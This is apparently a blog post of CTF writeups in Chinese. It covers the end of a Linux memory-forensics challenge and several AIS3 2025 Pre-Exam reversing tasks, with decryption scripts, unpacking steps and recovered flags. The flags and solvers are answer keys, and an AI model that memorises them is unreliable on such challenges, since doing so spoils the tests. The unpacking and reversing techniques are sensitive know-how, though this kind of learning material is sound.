        output[i] = (high_val << 4) | low_val;
    }
}

// Function to encode binary to hex string (original encoding function)
void encode_hex_string(const unsigned char* input, char* output, int length)
{
    for (int i = 0; i < length; i++)
    {
        output[2 * i] = hex_chars[(input[i] >> 4) & 0xF];
        output[2 * i + 1] = hex_chars[input[i] & 0xF];
    }
    output[2 * length] = '\0';
}

int main()
{
    // Given hex string
    const char* hex_string = "33F27DE365AB35FFC29CB4FEEB506B34";
    int hex_length = strlen(hex_string);
    int binary_length = hex_length / 2;
    
    printf("=== Hex Decoder ===\n\n");
    printf("Input hex string: %s\n", hex_string);
    printf("Hex string length: %d\n", hex_length);
    printf("Expected binary length: %d bytes\n\n", binary_length);
    
    // Allocate buffer for decoded data
    unsigned char* decoded_data = malloc(binary_length);
    if (!decoded_data) {
        printf("Error: Memory allocation failed\n");
        return 1;
    }
    
    // Decode hex string to binary
    decode_hex_string(hex_string, decoded_data, binary_length);
    
    // Print decoded data as hex
    printf("Decoded binary data (hex): ");
    for (int i = 0; i < binary_length; i++) {
        printf("%02X", decoded_data[i]);
    }
    printf("\n\n");
    
    // Print decoded data with spaces for readability
    printf("Decoded binary data (hex with spaces): ");
    for (int i = 0; i < binary_length; i++) {
        printf("%02X ", decoded_data[i]);
    }
    printf("\n\n");
    
    // Print decoded data as bytes
    printf("Decoded binary data (bytes): ");
    for (int i = 0; i < binary_length; i++) {
        printf("%d ", decoded_data[i]);
    }
    printf("\n\n");
    
    // Verify by re-encoding
    char* reencoded = malloc(hex_length + 1);
    if (reencoded) {
        encode_hex_string(decoded_data, reencoded, binary_length);
        printf("Re-encoded verification: %s\n", reencoded);
        if (strcmp(hex_string, reencoded) == 0) {
            printf("✓ SUCCESS: Re-encoding matches original!\n");
        } else {
            printf("✗ FAILED: Re-encoding does not match original!\n");
        }
        free(reencoded);
    }
    
    free(decoded_data);
    
    return 0;
}

輸出為

1
2
3
4
5
6
7
8
9
10
11
12
13
14
=== Hex Decoder ===

Input hex string: 33F27DE365AB35FFC29CB4FEEB506B34
Hex string length: 32
Expected binary length: 16 bytes

Decoded binary data (hex): 33F27DE365AB35FFC29CB4FEEB506B34

Decoded binary data (hex with spaces): 33 F2 7D E3 65 AB 35 FF C2 9C B4 FE EB 50 6B 34 

Decoded binary data (bytes): 51 242 125 227 101 171 53 255 194 156 180 254 235 80 107 52 

Re-encoded verification: 33F27DE365AB35FFC29CB4FEEB506B34
✓ SUCCESS: Re-encoding matches original!

得知到IV = 33F27DE365AB35FFC29CB4FEEB506B34

KEY

那之前的資訊可以知道他會寫在/var/log/debian.log中，因此我們直接把他從記憶體dump 出來

1
python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.pagecache.InodePages --find '/var/log/debian.log' --dump

成功dump 之後直後就可以寫解密還原key，這邊一樣AI代寫解密腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// The key used in encryption
char aAcsc2025[] = "acsc2025";

// Decoy function (same as in encryption)
int64_t sub_402D55()
{
    int v0; // edx
    int64_t result; // rax
    int v2; // [rsp+0h] [rbp-8h]
    int i; // [rsp+4h] [rbp-4h]

    v2 = 305419896;
    for (i = 0; i <= 4; ++i)
    {
        v0 = i + 8 * v2;
        result = v0 ^ (unsigned int)v2;
        v2 ^= v0;
    }
    return result;
}

// Decryption function
uint64_t decrypt_data(int64_t encrypted_data, int64_t output_buffer, uint64_t length)
{
    uint64_t result; // rax
    char v5; // [rsp+1Ah] [rbp-Eh]
    uint64_t i; // [rsp+20h] [rbp-8h]

    for (i = 0LL; ; ++i)
    {
        result = i;
        if (i >= length)
            break;
            
        // Get the encrypted byte
        unsigned char encrypted_byte = *(uint8_t *)(encrypted_data + i);
        
        // Calculate rotation amount (same as encryption)
        int rotation_amount = (i & 7) + 1;
        
        // Reverse the bit rotation
        // Original: rotated = (value << (8 - rotation)) | (value >> rotation)
        // Reverse: value = (rotated >> (8 - rotation)) | (rotated << rotation)
        unsigned char rotated_value = (encrypted_byte >> (8 - rotation_amount)) | 
                                     (encrypted_byte << rotation_amount);
        
        // Extract v5: v5 = rotated_value - (i ^ 0x13)
        v5 = rotated_value - (i ^ 0x13);
        
        // Call the decoy function if the same condition is met
        if (((7 * (uint8_t)i + 13) & 1) == 0)
            sub_402D55();
            
        // Reverse the XOR with the key
        *(uint8_t *)(output_buffer + i) = v5 ^ aAcsc2025[i % 8];
    }
    return result;
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        printf("Usage: %s <encrypted_file>\n", argv[0]);
        return 1;
    }
    
    FILE *file = fopen(argv[1], "rb");
    if (!file) {
        printf("Error: Cannot open file %s\n", argv[1]);
        return 1;
    }
    
    // Get file size
    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, 0, SEEK_SET);
    
    printf("File size: %ld bytes\n", file_size);
    
    // Read encrypted data
    unsigned char *encrypted_data = malloc(file_size);
    if (!encrypted_data) {
        printf("Error: Memory allocation failed\n");
        fclose(file);
        return 1;
    }
    
    size_t bytes_read = fread(encrypted_data, 1, file_size, file);
    fclose(file);
    
    if (bytes_read != file_size) {
        printf("Error: Could not read entire file\n");
        free(encrypted_data);
        return 1;
    }
    
    // Print encrypted data as hex
    printf("Encrypted data (hex): ");
    for (int i = 0; i < file_size && i < 50; i++) { // Show first 50 bytes
        printf("%02x ", encrypted_data[i]);
    }
    if (file_size > 50) printf("...");
    printf("\n");
    
    // Allocate buffer for decrypted data
    unsigned char *decrypted_data = malloc(file_size + 1);
    if (!decrypted_data) {
        printf("Error: Memory allocation failed\n");
        free(encrypted_data);
        return 1;
    }
    
    // Decrypt
    decrypt_data((int64_t)encrypted_data, (int64_t)decrypted_data, file_size);
    decrypted_data[file_size] = '\0';
    
    // Print decrypted data
    printf("\nDecrypted data:\n");
    printf("As hex (continuous): ");
    for (int i = 0; i < file_size; i++) {
        printf("%02X", decrypted_data[i]);
    }
    printf("\n\n");
    
    printf("As hex (with spaces): ");
    for (int i = 0; i < file_size; i++) {
        printf("%02X ", decrypted_data[i]);
    }
    printf("\n\n");
    
    printf("As text (if printable): ");
    for (int i = 0; i < file_size; i++) {
        if (decrypted_data[i] >= 32 && decrypted_data[i] <= 126) {
            printf("%c", decrypted_data[i]);
        } else {
            printf("\\x%02X", decrypted_data[i]);
        }
    }
    printf("\n");
    
    // Try to save decrypted data to a file
    char output_filename[256];
    snprintf(output_filename, sizeof(output_filename), "%s.decrypted", argv[1]);
    
    FILE *output_file = fopen(output_filename, "wb");
    if (output_file) {
        fwrite(decrypted_data, 1, file_size, output_file);
        fclose(output_file);
        printf("\nDecrypted data saved to: %s\n", output_filename);
    }
    
    free(encrypted_data);
    free(decrypted_data);
    
    return 0;
}

輸出

1
2
3
4
5
6
7
8
9
10
11
File size: 32 bytes
Encrypted data (hex): 5a 47 47 78 19 cc 3e a3 26 58 2a 14 33 a0 40 d0 b6 c8 d0 e4 0b a3 d1 ea f5 df 65 83 0f 04 9f 36 

Decrypted data:
As hex (continuous): C0685A143E2D38BA50244B4A753A31810B42F62D68D2D1D381165153E0C3F01F

As hex (with spaces): C0 68 5A 14 3E 2D 38 BA 50 24 4B 4A 75 3A 31 81 0B 42 F6 2D 68 D2 D1 D3 81 16 51 53 E0 C3 F0 1F 

As text (if printable): \xC0hZ\x14>-8\xBAP$KJu:1\x81\x0BB\xF6-h\xD2\xD1\xD3\x81\x16QS\xE0\xC3\xF0\x1F

Decrypted data saved to: inode_0x8a6161fc0a78.dmp.decrypted

得知到KEY = C0685A143E2D38BA50244B4A753A31810B42F62D68D2D1D381165153E0C3F01F

解密flag

知道了key跟IV之後，就可將flag檔案dump 出來並進行解密，這邊AES解密也是交給Cyberchef

1
C:\Users\yunshiuan\Desktop\Tools\volatility3 > python3 .\vol.py -f "C:\Users\yunshiuan\Desktop\asac\chall.raw" linux.pagecache.InodePages --find '/home/acsc/flag' --dump

flag跑出來代表成功解出這題了！

總結

我覺得這題是挺不錯的，包含了Linux Memory Forensic 以及逆向的能力，賽中解出這題的成就感挺大的，確實如果我之前沒有接觸過 Linux 記憶體分析的話可能就會先耗在處理錯誤的地方一段時間。

]]> Linux 記憶體鑑識 Writeup 2025 AIS3 Pre-Exam Reverse Writeup https://yunshiuan.com/2025/05/26/2025AIS3PreExam-reverse/ 2025-05-26T12:00:00.000Z 2026-05-11T12:09:36.511Z 這次主要做Reverse的題目

dashboard

AIS3 Tiny Server - Reverse

ida反編譯後用strings 看一下

tiny1

有明顯的 flag correct 的字串以及Wrong Flag的樣式，追過去看會來到sub_2110，

tiny2

主要是這段，當將p_s丟進sub_1E20時回傳值會決定是對的還是錯的，因此可以確定sub_1E20是一個flag checker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_BOOL4 __cdecl sub_1E20(int a1)
{
  unsigned int v1; // ecx
  char v2; // si
  char v3; // al
  int i; // eax
  char v5; // dl
  _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
  _DWORD v8[11]; // [esp+12h] [ebp-3Eh]
  __int16 v9; // [esp+3Eh] [ebp-12h]

  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}

xor加密可以寫出下面的解密script解出他想要的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def decrypt_sub_1E20():
    v8_ints = [
        1480073267,
        1197221906,
        254628393,
        920154,
        1343445007,
        874076697,
        1127428440,
        1510228243,
        743978009,
        54940467,
        1246382110
    ]

    orig = bytearray(45)
    idx = 0
    for val in v8_ints:
        orig[idx:idx+4] = val.to_bytes(4, byteorder='little')
        idx += 4
    orig[44] = 20

    key = b"rikki_l0v3"

    result = bytearray(45)
    v2 = 51
    v3 = 114
    for i in range(45):
        result[i] = v2 ^ v3
        if i == 44:
            break
        v2 = orig[i+1]
        v3 = key[(i+1) % len(key)]

    try:
        return result.decode('ascii')
    except UnicodeDecodeError:
        return result.hex()

if __name__ == "__main__":
    plaintext = decrypt_sub_1E20()
    print(plaintext)

tiny3

:flags:AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

web flag checker

F12 看一下原始碼

web1

這段出現了flag checker 的邏輯

接下來在index.wsam中有flag checker的函式內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
(func $flagchecker (;9;) (export "flagchecker") (param $var0 i32) (result i32)
(local $var1 i32)
(local $var2 i32)
(local $var3 i32)
(local $var4 i32)
(local $var5 i32)
(local $var6 i32)
(local $var7 i64)
(local $var8 i32)
(local $var9 i32)
(local $var10 i32)
(local $var11 i32)
(local $var12 i64)
(local $var13 i64)
(local $var14 i64)
(local $var15 i64)
(local $var16 i64)
(local $var17 i32)
(local $var18 i32)
(local $var19 i32)
(local $var20 i32)
(local $var21 i32)
(local $var22 i32)
(local $var23 i32)
(local $var24 i32)
(local $var25 i32)
(local $var26 i32)
(local $var27 i32)
(local $var28 i32)
(local $var29 i32)
(local $var30 i32)
(local $var31 i32)
(local $var32 i32)
(local $var33 i32)
(local $var34 i32)
(local $var35 i32)
(local $var36 i32)
(local $var37 i32)
(local $var38 i32)
(local $var39 i32)
(local $var40 i32)
(local $var41 i64)
(local $var42 i32)
(local $var43 i32)
(local $var44 i32)
(local $var45 i32)
(local $var46 i32)
(local $var47 i32)
(local $var48 i32)
(local $var49 i64)
(local $var50 i32)
(local $var51 i64)
(local $var52 i32)
(local $var53 i32)
(local $var54 i32)
(local $var55 i32)
(local $var56 i32)
(local $var57 i32)
(local $var58 i32)
(local $var59 i64)
(local $var60 i32)
(local $var61 i32)
(local $var62 i32)
(local $var63 i32)
(local $var64 i32)
(local $var65 i32)
(local $var66 i32)
(local $var67 i32)
(local $var68 i32)
(local $var69 i32)
(local $var70 i32)
global.get $global0
local.set $var1
i32.const 96
local.set $var2
local.get $var1
local.get $var2
i32.sub
local.set $var3
local.get $var3
global.set $global0
local.get $var3
local.get $var0
i32.store offset=88
i32.const -39934163
local.set $var4
local.get $var3
local.get $var4
i32.store offset=84
i32.const 64
local.set $var5
local.get $var3
local.get $var5
i32.add
local.set $var6
i64.const 0
local.set $var7
local.get $var6
local.get $var7
i64.store
i32.const 56
local.set $var8
local.get $var3
local.get $var8
i32.add
local.set $var9
local.get $var9
local.get $var7
i64.store
i32.const 48
local.set $var10
local.get $var3
local.get $var10
i32.add
local.set $var11
local.get $var11
local.get $var7
i64.store
local.get $var3
local.get $var7
i64.store offset=40
local.get $var3
local.get $var7
i64.store offset=32
i64.const 7577352992956835434
local.set $var12
local.get $var3
local.get $var12
i64.store offset=32
i64.const 7148661717033493303
local.set $var13
local.get $var3
local.get $var13
i64.store offset=40
i64.const -7081446828746089091
local.set $var14
local.get $var3
local.get $var14
i64.store offset=48
i64.const -7479441386887439825
local.set $var15
local.get $var3
local.get $var15
i64.store offset=56
i64.const 8046961146294847270
local.set $var16
local.get $var3
local.get $var16
i64.store offset=64
local.get $var3
i32.load offset=88
local.set $var17
i32.const 0
local.set $var18
local.get $var17
local.get $var18
i32.ne
local.set $var19
i32.const 1
local.set $var20
local.get $var19
local.get $var20
i32.and
local.set $var21
block $label2
  block $label1
    block $label0
      local.get $var21
      i32.eqz
      br_if $label0
      local.get $var3
      i32.load offset=88
      local.set $var22
      local.get $var22
      call $func13
      local.set $var23
      i32.const 40
      local.set $var24
      local.get $var23
      local.get $var24
      i32.ne
      local.set $var25
      i32.const 1
      local.set $var26
      local.get $var25
      local.get $var26
      i32.and
      local.set $var27
      local.get $var27
      i32.eqz
      br_if $label1
    end $label0
    i32.const 0
    local.set $var28
    local.get $var3
    local.get $var28
    i32.store offset=92
    br $label2
  end $label1
  local.get $var3
  i32.load offset=88
  local.set $var29
  local.get $var3
  local.get $var29
  i32.store offset=28
  i32.const 0
  local.set $var30
  local.get $var3
  local.get $var30
  i32.store offset=24
  block $label3
    loop $label5
      local.get $var3
      i32.load offset=24
      local.set $var31
      i32.const 5
      local.set $var32
      local.get $var31
      local.get $var32
      i32.lt_s
      local.set $var33
      i32.const 1
      local.set $var34
      local.get $var33
      local.get $var34
      i32.and
      local.set $var35
      local.get $var35
      i32.eqz
      br_if $label3
      local.get $var3
      i32.load offset=28
      local.set $var36
      local.get $var3
      i32.load offset=24
      local.set $var37
      i32.const 3
      local.set $var38
      local.get $var37
      local.get $var38
      i32.shl
      local.set $var39
      local.get $var36
      local.get $var39
      i32.add
      local.set $var40
      local.get $var40
      i64.load
      local.set $var41
      local.get $var3
      local.get $var41
      i64.store offset=16
      local.get $var3
      i32.load offset=24
      local.set $var42
      i32.const 6
      local.set $var43
      local.get $var42
      local.get $var43
      i32.mul
      local.set $var44
      i32.const -39934163
      local.set $var45
      local.get $var45
      local.get $var44
      i32.shr_u
      local.set $var46
      i32.const 63
      local.set $var47
      local.get $var46
      local.get $var47
      i32.and
      local.set $var48
      local.get $var3
      local.get $var48
      i32.store offset=12
      local.get $var3
      i64.load offset=16
      local.set $var49
      local.get $var3
      i32.load offset=12
      local.set $var50
      local.get $var49
      local.get $var50
      call $func8
      local.set $var51
      local.get $var3
      i32.load offset=24
      local.set $var52
      i32.const 32
      local.set $var53
      local.get $var3
      local.get $var53
      i32.add
      local.set $var54
      local.get $var54
      local.set $var55
      i32.const 3
      local.set $var56
      local.get $var52
      local.get $var56
      i32.shl
      local.set $var57
      local.get $var55
      local.get $var57
      i32.add
      local.set $var58
      local.get $var58
      i64.load
      local.set $var59
      local.get $var51
      local.get $var59
      i64.ne
      local.set $var60
      i32.const 1
      local.set $var61
      local.get $var60
      local.get $var61
      i32.and
      local.set $var62
      block $label4
        local.get $var62
        i32.eqz
        br_if $label4
        i32.const 0
        local.set $var63
        local.get $var3
        local.get $var63
        i32.store offset=92
        br $label2
      end $label4
      local.get $var3
      i32.load offset=24
      local.set $var64
      i32.const 1
      local.set $var65
      local.get $var64
      local.get $var65
      i32.add
      local.set $var66
      local.get $var3
      local.get $var66
      i32.store offset=24
      br $label5
    end $label5
  end $label3
  i32.const 1
  local.set $var67
  local.get $var3
  local.get $var67
  i32.store offset=92
end $label2
local.get $var3
i32.load offset=92
local.set $var68
i32.const 96
local.set $var69
local.get $var3
local.get $var69
i32.add
local.set $var70
local.get $var70
global.set $global0
local.get $var68
return
)

給chatgpt整理分析以上的加密方式為

  • magic = 0xFD9EA72D 計算旋轉位數

  • expected[0] = 0x69282A668AEF666A; expected[1] = 0x633525F4D7372337; expected[2] = 0x9DB9A5A0DCC5DD7D; expected[3] = 0x9833AFAFB8381A2F; expected[4] = 0x6FAC8C8726464726;
    是經過旋轉之後預期的flag

  • 接下來把使用者輸入的每一個chunk取出來進行rot

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    for (int i = 0; i < 5; i++) {
        uint64_t chunk = *(uint64_t*)(input + i*8);

        uint32_t r = (magic >> (i*6)) & 63;

        uint64_t rot = (chunk << r) | (chunk >> (64 - r));

        if (rot != expected[i]) {
            result = 0;
            goto done;
        }
    }
    result = 1;

總結可以寫出解密的script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
expected = [
    0x69282A668AEF666A,
    0x633525F4D7372337,
    0x9DB9A5A0DCC5DD7D,
    0x9833AFAFB8381A2F,
    0x6FAC8C8726464726
]
magic = 0xFD9EA72D

mask64 = (1 << 64) - 1

def rotr(x, r):
    return ((x >> r) | ((x << (64 - r)) & mask64)) & mask64

flag_bytes = []
for i, exp in enumerate(expected):
    r = (magic >> (6 * i)) & 0x3F
    chunk = rotr(exp, r)
    for j in range(8):
        flag_bytes.append((chunk >> (8 * j)) & 0xFF)

flag = bytes(flag_bytes).decode('ascii')

print(flag)

web2

:flags:AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

A_simple_snake_game

是一個貪吃蛇遊戲，用ida 反編譯後找一下主要加密函式，找到了draw_text函式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, #220 *this, int a3, int a4)
{
  unsigned int v4; // eax
  int v5; // eax
  int v6; // eax
  int Error; // eax
  int v8; // eax
  char v9; // [esp+23h] [ebp-F5h]
  char lpuexcpt; // [esp+24h] [ebp-F4h]
  struct _Unwind_Exception *lpuexcpta; // [esp+24h] [ebp-F4h]
  struct _Unwind_Exception *lpuexcptb; // [esp+24h] [ebp-F4h]
  _DWORD v14[10]; // [esp+6Dh] [ebp-ABh] BYREF
  __int16 v15; // [esp+95h] [ebp-83h]
  char v16; // [esp+97h] [ebp-81h]
  int v17; // [esp+98h] [ebp-80h]
  int v18; // [esp+9Ch] [ebp-7Ch]
  int v19; // [esp+A0h] [ebp-78h]
  int v20; // [esp+A4h] [ebp-74h]
  int v21; // [esp+A8h] [ebp-70h]
  _BYTE v22[24]; // [esp+ACh] [ebp-6Ch] BYREF
  int v23; // [esp+C4h] [ebp-54h]
  int v24; // [esp+C8h] [ebp-50h]
  int v25; // [esp+CCh] [ebp-4Ch]
  int v26; // [esp+D0h] [ebp-48h]
  int v27; // [esp+D4h] [ebp-44h]
  _BYTE v28[27]; // [esp+D8h] [ebp-40h] BYREF
  char v29; // [esp+F3h] [ebp-25h] BYREF
  int TextureFromSurface; // [esp+F4h] [ebp-24h]
  int v31; // [esp+F8h] [ebp-20h]
  unsigned int i; // [esp+FCh] [ebp-1Ch]

  if ( (int)this <= 11451419 || a3 <= 19810 )
  {
    SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
    v27 = 0xFFFFFF;
    v8 = std::string::c_str(v28);
    a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
    a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
    v23 = 400;
    v24 = 565;
    v25 = 320;
    v26 = 30;
    SDL_RenderCopy(a1[1], a1[4]);
    std::string::~string(v28);
  }
  else
  {
    v14[0] = -831958911;
    v14[1] = -1047254091;
    v14[2] = -1014295699;
    v14[3] = -620220219;
    v14[4] = 2001515017;
    v14[5] = -317711271;
    v14[6] = 1223368792;
    v14[7] = 1697251023;
    v14[8] = 496855031;
    v14[9] = -569364828;
    v15 = 26365;
    v16 = 40;
    std::allocator<char>::allocator(&v29);
    std::string::basic_string(v14, 43, &v29);
    std::allocator<char>::~allocator(&v29);
    for ( i = 0; ; ++i )
    {
      v4 = std::string::length(v22);
      if ( i >= v4 )
        break;
      lpuexcpt = *(_BYTE *)std::string::operator[](i);
      v9 = SnakeGame::hex_array1[i];
      *(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
    }
    v21 = 0xFFFFFF;
    v5 = std::string::c_str(v22);
    v31 = TTF_RenderText_Solid(a1[5], v5, v21);
    if ( v31 )
    {
      TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v31);
      if ( TextureFromSurface )
      {
        v17 = 200;
        v18 = 565;
        v19 = 590;
        v20 = 30;
        SDL_RenderCopy(a1[1], TextureFromSurface);
        SDL_FreeSurface(v31);
        SDL_DestroyTexture(TextureFromSurface);
      }
      else
      {
        lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                  &std::cerr,
                                                  "SDL_CreateTextureFromSurface: ");
        Error = SDL_GetError();
        std::operator<<<std::char_traits<char>>(lpuexcptb, Error);
        std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
        SDL_FreeSurface(v31);
      }
    }
    else
    {
      lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                &std::cerr,
                                                "TTF_RenderText_Solid: ");
      v6 = SDL_GetError();
      std::operator<<<std::char_traits<char>>(lpuexcpta, v6);
      std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
    }
    std::string::~string(v22);
  }
}

看起來是進到else條件後會出現flag文字，並且是用XOR加解密

可以寫出下面的解密script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct

v14 = [
    -831958911, -1047254091, -1014295699, -620220219,
    2001515017, -317711271, 1223368792, 1697251023,
    496855031, -569364828
]

raw_bytes = b''.join(struct.pack('<I', x & 0xFFFFFFFF) for x in v14)
raw_bytes += struct.pack('<H', 26365)
raw_bytes += struct.pack('B', 40)

key = bytes([
    0x0C, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
    0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
    0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
    0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
    0x93, 0x22, 0x55, 0x15
])

decrypted = bytes(raw_bytes[i] ^ key[i] for i in range(43))

print("flag：", decrypted)

:flags:AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}

verysafe_image_encrypter

ida 反編譯之後無法辨識，用DIE看一下

pic1

發現有加了壓縮殼，並且看起來是自製的殼，因此先利用x64dbg去看哪裡是OEP 並用scylla dump 出脫殼程式

在找OEP之前可以先用CFF explore 把ASLR關掉

pic2

F9執行到這邊後會執行到popad 的下一行jmp dword ptr ss:[esp-24]

jmp之後跳到這邊

pic3

在經過一次jmp之後會到這邊

pic4

這邊看起來非常像原本程式的OEP，因此401170可以先猜測為OEP

使用scylla dump 出來 參考：https://feifeitan.cn/index.php/archives/216/

將dump 出來的用ida反編譯後會得到原本的程式碼

經過分析後主要圖片加密功能會sub_4018EA中的sub_401520

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl sub_4018EA(char a1)
{
  int v1; // eax
  int v3; // [esp+0h] [ebp-88h] BYREF
  int v4; // [esp+18h] [ebp-70h]
  char v5[4]; // [esp+1Ch] [ebp-6Ch] BYREF
  int v6; // [esp+20h] [ebp-68h]
  int (__cdecl *v7)(int, int, int, int, int, int); // [esp+34h] [ebp-54h]
  int *v8; // [esp+38h] [ebp-50h]
  int *v9; // [esp+3Ch] [ebp-4Ch]
  void *v10; // [esp+40h] [ebp-48h]
  int *v11; // [esp+44h] [ebp-44h]
  char v12[16]; // [esp+58h] [ebp-30h] BYREF
  char *v13; // [esp+68h] [ebp-20h]
  char *v14; // [esp+6Ch] [ebp-1Ch]
  char *v15; // [esp+78h] [ebp-10h]
  int savedregs; // [esp+88h] [ebp+0h] BYREF

  v15 = &a1;
  v7 = sub_4CCCF0;
  v8 = &dword_4CE4D4;
  v9 = &savedregs;
  v10 = &loc_4019D0;
  v11 = &v3;
  sub_40C590(v5);
  sub_40A8B0();
  v14 = aInputImagePng;
  v13 = aEncryptedImage;
  v6 = -1;
  sub_401580(v12, aInputImagePng);
  v12[15] = 114;
  sub_401520(v12, 114);
  v6 = 1;
  sub_40177D(v13, v12);
  v1 = sub_4C87B0(&dword_4D27C0, (char *)dword_4D303C);
  sub_4C87B0(v1, v13);
  sub_47DFC0(sub_4C6890);
  v4 = 0;
  sub_4B0FB8(v12);
  sub_40C860(v5);
  return v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bool __cdecl sub_401520(int a1, char a2)
{
  bool result; // al
  _BYTE *v3; // eax
  _BYTE *v4; // eax
  unsigned int i; // [esp+2Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    result = i < sub_4315C4(a1);
    if ( !result )
      break;
    v3 = (_BYTE *)sub_4B1020(i);
    *v3 ^= a2;
    v4 = (_BYTE *)sub_4B1020(i);
    *v4 += 4;
  }
  return result;
}

很簡單可以看出來他將圖片的每個byte經過0x72的xor之後+4
因此可以用以下的script解密出來

1
2
3
4
5
6
7
8
9
10
def decrypt(data: bytes, key: int) -> bytes:
    return bytes(((c - 4) & 0xFF) ^ key for c in data)

if __name__ == "__main__":
    key = ord('r')
    with open('./encrypted_image.png', 'rb') as f:
        cipher = f.read()
        plain = decrypt(cipher, key)
        print(''.join(f'{b:02x}' for b in plain))

將解密出來的16進位丟到cyberchef之後就會得到下面的照片

pic5

:flags:AIS3​{rwx_53gm3nttt_s0_5AS}

BabyUnicorn

顯示用pwntools 的disassembly 看一下 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
